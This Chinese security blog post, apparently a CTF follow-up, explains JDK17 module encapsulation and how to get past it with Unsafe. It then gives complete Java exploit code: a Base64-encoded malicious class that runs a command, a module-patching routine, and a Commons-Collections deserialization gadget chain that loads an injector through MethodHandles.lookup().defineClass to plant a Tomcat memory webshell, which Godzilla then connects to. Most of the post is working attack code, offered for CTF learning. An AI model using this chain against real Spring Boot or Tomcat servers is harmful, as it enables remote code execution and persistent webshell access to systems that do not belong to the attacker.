前言
打巅峰极客的时候遇到的一个东西,觉得很有必要学习一下。当时题目直接给出“JDK17+CB”反序列化,我由于对高版本JDK有一种陌生的恐惧感,写EXP时有点畏手畏脚,最终导致题目没有做出来,赛后观摩了其他做出来师傅的WP,发现其实这个问题只要熟悉了就还能做。
JDK9之后的模块化
Java模块化主要是用来解决依赖的问题,以及给原生JDK瘦身这两个作用。
在此之前,java项目一般都是由一堆class文件组成,管理这一堆class文件东西叫jar。但是这些class的有分两类,一类是我们自己项目的class,一类是各种依赖的class。jar可不会管他们之前的关系,他只是用来存放这些class的。所以一旦出现漏写某个依赖class所对应的jar,程序就会报”ClassNotFoundException”的异常。
也正是为了避免这种问题,JDK9之后开始推行模块化,具体体现在:如果a.jar依赖于b.jar,那么对于a这个jar就需要写一份依赖说明,让a程序编译运行的时候能够直接定位到b.jar。这个功能主要就是通过module-info.class中的定义的。
了解上述定义即可,现在主要是探究模块化关于漏洞利用这一块的限制。首先就是class的访问权限,一般就分为public protected private和默认的包访问限制,但是到了模块化之后折现访问权限就仅限于当前模块了,除非目标类所在模块明确在module-info中指出了该类可被外部调用,不然依然无法获取到。
JDK17新特性–强封装
Oracle官方上述文档中提到了Strong Encapsulation,这个主要就是针对java*包下的所有非public字段的如果我们在JDK17的时候对java*下的非公共字段进行反射调用的话就会直接报错。
参考链接:
https://docs.oracle.com/en/java/javase/17/migrate/migrating-jdk-8-later-jdk-releases.html#GUID-7BB28E4D-99B3-4078-BDC4-FC24180CE82B
其实这个东西在JDK9之后就开始被标记为了不安全选项,但是由于很多大型项目之前都会直接使用反射这个功能,所以直到JDK17才将其强制化。
这里写一段示例代码:
package org.example;
import java.lang.reflect.Method;
import java.util.Base64;
public class Test
{
public static void main( String[] args ) throws Exception {
String payload="yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24HABYBABBvcmcvZXhhbXBsZS9FdmlsAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABJMb3JnL2V4YW1wbGUvRXZpbDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhACEAFQACAAAAAAACAAEABQAGAAEAFwAAAC8AAQABAAAABSq3AAGxAAAAAgAYAAAABgABAAAAAwAZAAAADAABAAAABQAaABsAAAAIABwABgABABcAAABPAAIAAQAAAA64AAcSDbYAD1enAARLsQABAAAACQAMABMAAwAYAAAAEgAEAAAABgAJAAgADAAHAA0ACQAZAAAAAgAAAB0AAAAHAAJMBwATAAABAB4AAAACAB8=";
byte[] bytes= Base64.getDecoder().decode(payload);
Method defineClass= ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(ClassLoader.getSystemClassLoader(), "attack", bytes, 0, bytes.length);
}
}
恶意字节码构成,注意这里不能有Package的定义:
public class Evil {
static {
try{
Runtime.getRuntime().exec("calc");
}catch(Exception e){
}
}
}
理论上来说测试代码运行之后就会触发命令执行,但是在JDK17中就会出这样的报错,报错位置很容易定位到是SetAccessible中出了问题。
但是JDK肯定不会就这么把反射这么强大的功能抛弃,他还是留了一手。先看看SetAccessible源码被改成什么样了
public void setAccessible(boolean flag) throws SecurityException {
SecurityManager sm = System.getSecurityManager();
if (sm != null) sm.checkPermission(ACCESS_PERMISSION);
setAccessible0(this, flag);
}
setAccessible0就是最终将当前反射获取到的变量中override属性值设置为true,不论是JDK8还是JDK17都是如此。重点是checkPermission的区别,JDK17中checkPermission最终调用到了checkCanSetAccessible方法:
private boolean checkCanSetAccessible(Class caller,
Class declaringClass,
boolean throwExceptionIfDenied) {
if (caller == MethodHandle.class) {
throw new IllegalCallerException(); // should not happen
}
Module callerModule = caller.getModule();
Module declaringModule = declaringClass.getModule();
//如果被调用的变量所在模块和调用者所在模块相同,返回true
if (callerModule == declaringModule) return true;
//如果调用者所在模块跟Object所在模块相同,则返回true
if (callerModule == Object.class.getModule()) return true;
//如果被调用模块没有定义,则返回true
if (!declaringModule.isNamed()) return true;
String pn = declaringClass.getPackageName();
int modifiers;
if (this instanceof Executable) {
modifiers = ((Executable) this).getModifiers();
} else {
modifiers = ((Field) this).getModifiers();
}
//如果当前被调用属性值是public,那就直接返回true
// class is public and package is exported to caller
boolean isClassPublic = Modifier.isPublic(declaringClass.getModifiers());
if (isClassPublic && declaringModule.isExported(pn, callerModule)) {
// member is public
if (Modifier.isPublic(modifiers)) {
return true;
}
//如果被调用属性是protected并且是static,返回true
// member is protected-static
if (Modifier.isProtected(modifiers)
&& Modifier.isStatic(modifiers)
&& isSubclassOf(caller, declaringClass)) {
return true;
}
}
//如果在模块define中,定义了该属性值是open的,返回true
// package is open to caller
if (declaringModule.isOpen(pn, callerModule)) {
return true;
}
if (throwExceptionIfDenied) {
// not accessible
String msg = "Unable to make ";
if (this instanceof Field)
msg += "field ";
msg += this + " accessible: " + declaringModule + " does not "";
if (isClassPublic && Modifier.isPublic(modifiers))
msg += "exports";
else
msg += "opens";
msg += " " + pn + "" to " + callerModule;
InaccessibleObjectException e = new InaccessibleObjectException(msg);
if (printStackTraceWhenAccessFails()) {
e.printStackTrace(System.err);
}
throw e;
}
return false;
}
总结几个返回true的可能性:
•调用者所在模块和被调用者所在模块相同
•调用者模块与Object类所在模块相同
后续以及其他的还有的返回true的情况是该属性值本身的定义所决定的,我们无法改变。针对上面三种情况,我们可以通过unsafe模块来达成目的。
Unsafe模块的作用还有很多,属于是积累起来很不错的一块知识点,这里我们只记录如何通过Unsafe模块进行目标类所在moule进行修改:
整体的思路为:获取Object中module属性的内存偏移量,之后再通过unsafe中方法,将Object的module属性set进我们当前操作类的module属性中。
Unsafe修改类所属module
Unsafe模块中有几个方法相关:
1.objectFieldOffset
用于获取给定类属性值的内存偏移量,用来找到module属性值的地方2.getAndSetObject
用来根据内存偏移量以及具体值,来给指定对象的内存空间进行变量设置,跟反射的功能差不多。
其实具体的操作有上述两个方法已经足够了,但unsafe中能够根据内存偏移量和具体值进行set操作的方法可不止这一个,比如putObject也可以实现这个功能,并且方法调用的给值都是相同的。
再看具体操作:
package org.example;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception {
String payload = "yv66vgAAADQAIwoACQATCgAUABUIABYKABQAFwcAGAcAGQoABgAaBwAbBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAoACwcAHQwAHgAfAQAEY2FsYwwAIAAhAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACIBAARFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAAHQABAAEAAAAFKrcAAbEAAAABAA0AAAAGAAEAAAADAAgADgALAAEADAAAAFQAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQACAA0AAAAWAAUAAAAGAAkACQAMAAcADQAIABYACgAPAAAABwACTAcAEAkAAQARAAAAAgAS";
byte[] bytes = Base64.getDecoder().decode(payload);
Class UnsafeClass=Class.forName("sun.misc.Unsafe");
Field unsafeField=UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe=(Unsafe) unsafeField.get(null);
Module ObjectModule=Object.class.getModule();
Class currentClass=Test.class;
long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass,addr,ObjectModule);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
((Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Evil", bytes, 0, bytes.length)).newInstance();
}
}
可能会有一个疑问:为什么我们获取到了Class的module内存偏移,就一定能够笃定当前类的内存偏移量与其相同呢?这个其实很好理解,因为所有的类都是继承自Class类的,并且module属性值不是某一个特定类的特定属性值,而是Class类中定义的,用于给所有类都设置的一段属性值,其他类是没有对其进行修改的,所以每一个类的module内存偏移量都是相同的48
之后再运行就能够成功执行恶意代码
实战举例
这里我拿注入内存马举例,假设此时在Springboot3中存在如下路由:
import jakarta.servlet.http.HttpServletRequest;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
@Controller
public class AdminController {
@RequestMapping("/test")
public void start(HttpServletRequest request) {
try{
String payload=request.getParameter("shellbyte");
byte[] shell= Base64.getDecoder().decode(payload);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(shell);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
objectInputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
在原生Springboot下存在高版本CB依赖,我们该如何去通过该反序列化接口打入内存马呢?这里其实就是巅峰极客上的一道Java题了,但是我没有给waf,还需要用到一些绕过手法,就不在这里补充。除了这一点,跟原题描述的场景是一样的。现在看到的解出方式是了解CB高版本依赖下是自带CC依赖的,并且该CC的版本不是很高,1.9.0的CB依赖下是CC3.2.1,还是存在一定的利用空间的,但是到了1.9.3(或者其他比较高版本的CB,具体没有去测),CC的依赖就变成了3.2.2的版本,有些关键类就用不了。
反序列化链构造及其相关绕过点
0x01 最终memshell注入绕过
templatesImpl在JDK高版本之后就无法再利用了,这里采取的思路还是通过InvokeTransformer,间接调用到defineClass进行字节码加载,所以一定会用到ChainedTransformer。但是有个麻烦事,就是我们还要去实例化一个ClassLoader,这放在反序列化链子里面去触发就很麻烦。这个时候就有一个新的反射调用的方式能够直接调用到defineClass加载字节码—MethodHandles,具体通过ChainedTransformer构造如下:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(MethodHandles.class),
new InvokerTransformer("getDeclaredMethod", new
Class[]{String.class, Class[].class}, new Object[]{"lookup", new
Class[0]}),
new InvokerTransformer("invoke", new Class[]
{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("defineClass", new Class[]
{byte[].class}, new Object[]{data}),
new InstantiateTransformer(new Class[0], new
Object[0]),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(new
Transformer[]{new ConstantTransformer(1)});
起到的作用可以用一句代码来总结
MethodHandles.lookup().defineClass("your memshell byteCode")
这里再补充一下MethodHandles.lookup().defineClass的意思,我们定位到MethodHandles的lookup方法,发现它本质上是返回MethodHandles的一个内部类Lookup。并且注意此时传递了一个参数进去,是通过Reflection#getCallerClass()调用过后的结果传入:
具体的绕过点:
此时的结果是org.apache.commons.collections.functors.InvokerTransformer,之后我们通过defineClass加载到的类必须要和此Caller类的包名相同,不然无法加载。具体的判断逻辑看defineClass:
跟进makeClassDefiner方法,持续跟进到newInstance方法,中间有段trycatch块的内容,具体是用ASM处理指定字节码,并且获取到该加载类的全类名,存储为name变量。
之后获取到具体类名,截取为index。pn具体就是加载类的全类名,然后此时pkgName就是调用类–InvokerTransformer的全类名:org.apache.commons.collections.functors。所以最终的效果就是判断调用类和指定加载类是否在同一包下,如果不在就不给你返回字节码内容ClassFile,直接抛出异常。所以我们指定Memshell注入器包名必须为org.apache.commons.collections.functors,恶意filter(或者其他什么组件)无所谓,我们可以在注入器中执行任意java代码的话,可以直接通过获取Context的ClassLoader,调用其defineClass进行字节码加载,就不需要用到MethodHandles.lookup().defineClass了。
0x02 JDK17-module绕过
这个内容前面补充过了,直接封装成一个方法用以方便多次调用即可:
private static void patchModule(Class classname){
try {
Class UnsafeClass=Class.forName("sun.misc.Unsafe");
Field unsafeField=UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe=(Unsafe) unsafeField.get(null);
Module ObjectModule=Object.class.getModule();
Class currentClass=classname.getClass();
long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass,addr,ObjectModule);
}catch (Exception e){
e.printStackTrace();
}
}
于是整体的反序列化链外壳已经初具模样了
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.invoke.MethodHandles;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Demo
{
public static void main(String[] args) throws Exception{
patchModule(Demo.class);
String shellinject="your memshell bytecode";
//byte[] data=Files.readAllBytes(Paths.get("H:\ASecuritySearch\javasecurity\CC1\JDK17Ser\src\main\java\org\example\shell.class"));;
//byte[] data=Base64.getDecoder().decode(shellinject);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(MethodHandles.class),
new InvokerTransformer("getDeclaredMethod", new
Class[]{String.class, Class[].class}, new Object[]{"lookup", new
Class[0]}),
new InvokerTransformer("invoke", new Class[]
{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("defineClass", new Class[]
{byte[].class}, new Object[]{data}),
new InstantiateTransformer(new Class[0], new
Object[0]),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(new
Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
innerMap.remove("keykey");
setFieldValue(transformerChain,"iTransformers",transformers);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(serialize(expMap))));
}
private static void patchModule(Class classname){
try {
Class UnsafeClass=Class.forName("sun.misc.Unsafe");
Field unsafeField=UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe=(Unsafe) unsafeField.get(null);
Module ObjectModule=Object.class.getModule();
Class currentClass=classname.getClass();
long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass,addr,ObjectModule);
}catch (Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) {
try {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}catch (Exception e){
e.printStackTrace();
}
}
public static byte[] serialize(Object object) {
try {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
0x03 注入器逻辑处理
首先就是我们注入器的包名必须是org.apache.commons.collections.functors,除此之外,由于也是执行java代码,并且不可避免的要用到反射调用非public字段的逻辑,所以我们还需要加上JDKModulepatch的功能,并且在所有注入逻辑之前执行。
JDK17下的filter相关信息组件又替换到了jakarta包下,必须重新考虑Class.forName初始化类时的包名。
还有很多问题,不过都是关于memshell注入的相关绕过和完善补充,本来的想法是用和队里师傅一起魔改的JMG生成一个,因为Tomcat10之后的情况补充我们已经改完了,但是JDK17modulepatch的逻辑还没有加上,正瞅着又要开始弄二开的时候,看了JMG更新了,补充modulepatch,就拿来再次二开了一下,用以解决跨线程注入的问题。具体的代码就不公开了,其实就是forName的时候注意指定ClassLoader就行,不然有些空线程没有设置Tomcat的类路径配置,无法加载Tomcat下的类
就直接拿改过的JMG生成一下,先测试正常情况下的Springboot3下的Tomcat10.x+JDK17能否成功注入:
之后再将base64字节码放入反序列化链的data中:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.invoke.MethodHandles;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Demo
{
public static void main(String[] args) throws Exception{
patchModule(Demo.class);
String shellinject=".........这里存入注入器字节码的base64编码";
byte[] data=Base64.getDecoder().decode(shellinject);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(MethodHandles.class),
new InvokerTransformer("getDeclaredMethod", new
Class[]{String.class, Class[].class}, new Object[]{"lookup", new
Class[0]}),
new InvokerTransformer("invoke", new Class[]
{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("defineClass", new Class[]
{byte[].class}, new Object[]{data}),
new InstantiateTransformer(new Class[0], new
Object[0]),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(new
Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
innerMap.remove("keykey");
setFieldValue(transformerChain,"iTransformers",transformers);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(serialize(expMap))));
}
private static void patchModule(Class classname){
try {
Class UnsafeClass=Class.forName("sun.misc.Unsafe");
Field unsafeField=UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe=(Unsafe) unsafeField.get(null);
Module ObjectModule=Object.class.getModule();
Class currentClass=classname.getClass();
long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass,addr,ObjectModule);
}catch (Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) {
try {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}catch (Exception e){
e.printStackTrace();
}
}
public static byte[] serialize(Object object) {
try {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
发包进行测试:
拿原始GodZilla连接即可:
当然,这并不是巅峰极客的正确解法,那还需要涉及绕过Waf的问题,这里就不谈了。
参考
1、https://github.com/pen4uin/java-memshell-generator
2、Nu1l战队巅峰极客WP
原文始发于微信公众号(稻草人安全团队):JDK高版本的模块化以及反射类加载限制绕过